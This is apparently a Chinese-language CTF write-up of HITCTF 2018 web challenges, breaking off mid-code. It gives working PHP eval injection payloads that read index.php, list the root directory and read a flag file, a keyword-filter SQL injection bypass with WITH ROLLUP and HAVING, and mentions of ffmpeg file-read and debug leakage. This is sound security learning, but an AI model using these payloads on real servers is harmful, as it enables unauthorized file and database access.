WEB
PHPreading
源码泄露,存在index.php.bak,,解一下base64知道
$flag=$_GET['asdfgjxzkallgj8852'];if($flag=='H1TctF2018EzCTF'){
die($flag);}die('emmmm');
输入得到flag
BabyEval
看一下泄露了一部分源码
<!--
$str=@(string)$_GET['str'];
blackListFilter($black_list, $str);
eval('$str="'.addslashes($str).'";');
-->
首先查到了如果是在双引号内可以通过这样的方式执行eval
?str=${
${
phpinfo()}}
然后先输出全局变量看一下,没发现flag,但是看到了黑名单…
然而貌似没什么卵用,继续吧,是不是藏到了index.php中?但是看了以后发现也不是。。。
/?str=${${var_dump(file(chr(46).chr(47).chr(105).chr(110).chr(100).chr(101).chr(120).chr(46).chr(112).chr(104).chr(112)))}}
可以查看index.php,然后就猜测应该还有别的文件了!然后最后在根目录找到了flag的文件
/?str=${${var_dump(glob(chr(47).chr(42)))}}
然后最后费劲巴拉终于解决了问题
/?str=${${var_dump(file(chr(47).chr(49).chr(54).chr(50).chr(57).chr(50).chr(48).chr(57).chr(55).chr(54).chr(100).chr(57).chr(99).chr(48).chr(52).chr(97).chr(99).chr(54).chr(57).chr(101).chr(50).chr(102).chr(52).chr(51).chr(57).chr(50).chr(97).chr(56).chr(99).chr(102).chr(102).chr(98).chr(102).chr(95).chr(102).chr(108).chr(97).chr(103).chr(46).chr(116).chr(120).chr(116)))}}
题目还是不错的。
补充一下我的方法肯能太笨了…补充好做的方法…
小电影
打开题目一看,说是ffmpeg,立马想到去年出的ffmpeg任意文件读取漏洞了,利用file协议的脆弱吧,但是这里不太好的就是不知道文件的路径,猜测flag.txt成功了。
具体怎么做,其实就是用人家的脚本…脚本小子…上传的文件名必须是123.avi,最后得到flag如下
BabyInjection
给了源码
<?php
error_reporting(0);
if (!isset($_POST['username']) || !isset($_POST['passwd'])) {
echo 'Login and get the flag';
echo '<form action="" method="post">'."<br/>";
echo '<input name="username" type="text" placeholder="username"/>'."<br/>";
echo '<input name="passwd" type="text" placeholder="passwd"/>'."<br/>";
echo '<input type="submit" ></input>'."<br/>";
echo '</form>'."<br/>";
die;
}
$flag = '';
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";
$username = $_POST['username'];
$passwd = $_POST['passwd'];
if (preg_match("/".$filter."/is",$username)==1){
die("Hacker hacker hacker~");
}
if (preg_match("/".$filter."/is",$passwd)==1){
die("Hacker hacker hacker~");
}
$conn = mysqli_connect();
$query = "SELECT * FROM users WHERE username='{$username}';";
echo $query."<br>";
$query = mysqli_query($conn, $query);
if (mysqli_num_rows($query) == 1){
$result = mysqli_fetch_array($query);
if ($result['passwd'] == $passwd){
die('you did it and this is your flag: '.$flag);
}
else{
die('Wrong password');
}
}
else{
die('Wrong username');
}
这个貌似是一道实验吧的原题,但是我实在是记不清楚了,最后发现是用with rollup绕过的,但是这里貌似限制了limit的使用,怎么限制呢?这里用了having,半天才想到,真是垃圾!
with rollup的特性在此不讲,和group by组合生成一个列为null的插入查询。然后用having passwd is null限制即可
最后构造如下
注意passwd不要输入内容,貌似因为mysql中的null转换到php中是一个空字符串,如果有输入就一定是“”==“某串”,肯定是错的。
好题好题!
BabyLeakage
这个题目我是有点不懂得,说真的都不知道怎么弄出来了,利用了网站的报错机制,首先显示报错泄露了文件的结构
然后构造这个
/news/article/1/1/
类似的去爆信息
然后看到了很多不得了的信息啊
然后需要远程登陆一下他的mysql!
mysql> use F1agIsHere;
Database changed
mysql> describe f
-> ;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| H | text | YES | | NULL | |
| I | text | YES | | NULL | |
| TC | text | YES | | NULL | |
| T | text | YES | | NULL | |
| F | text | YES | | NULL | |
+-------+------+------+-----+---------+-------+
5 rows in set (0.02 sec)
mysql> describe f;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| H | text | YES | | NULL | |
| I | text | YES | | NULL | |
| TC | text | YES | | NULL | |
| T | text | YES | | NULL | |
| F | text | YES | | NULL | |
+-------+------+------+-----+---------+-------+
5 rows in set (0.02 sec)
mysql> describe l;
+---------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+---------+------+------+-----+---------+-------+
| { | text | YES | | NULL | |
| C10se_ | text | YES | | NULL | |
| Debu91n | text | YES | | NULL | |
+---------+------+------+-----+---------+-------+
3 rows in set (0.02 sec)
mysql> describe a;
+----------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+------+------+-----+---------+-------+
| fo_Is_Im | text | YES | | NULL | |
| mmp | text | YES | | NULL | |
| ort | text | YES | | NULL | |
+----------+------+------+-----+---------+-------+
3 rows in set (0.02 sec)
mysql> describe g;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| 4n7 | text | YES | | NULL | |
| } | text | YES | | NULL | |
+-------+------+------+-----+---------+-------+
2 rows in set (0.02 sec)
最终答案
HITCTF{C10se_Debu91nfo_Is_Immmport4n7}
SecurePY
这个题目本来没什么思路,结果找到了相似的题目,这是不是TWCTF2017的题目?呃呃呃,提示是/pycache/,然后想到了这个
在 python-web 应用中,当前目录下, .py文件生成的pyc文件会被存储在 pycache文件夹中,并以 .cpython-XX.pyc 为扩展名,其中的 XX 与 CPython 版本有关。比如app.py,其对应的 pyc文件路径为 pycache/app.cpython-35.pyc。我们尝试访问:
http://123.206.83.157:8000/__pycache__/app.cpython-35.pyc
结果还真有东西!然后反编译得到代码
#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
from flask import Flask, request, jsonify, render_template
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import os
app = Flask(__name__)
flag_key = os.environ['KEY']
flag_enc = '9cf742955633f38d9c628bc9a9f98db042c6e4273a99944bc4cd150a0f7b9f317f52030329729ccf80798690667a0add'
def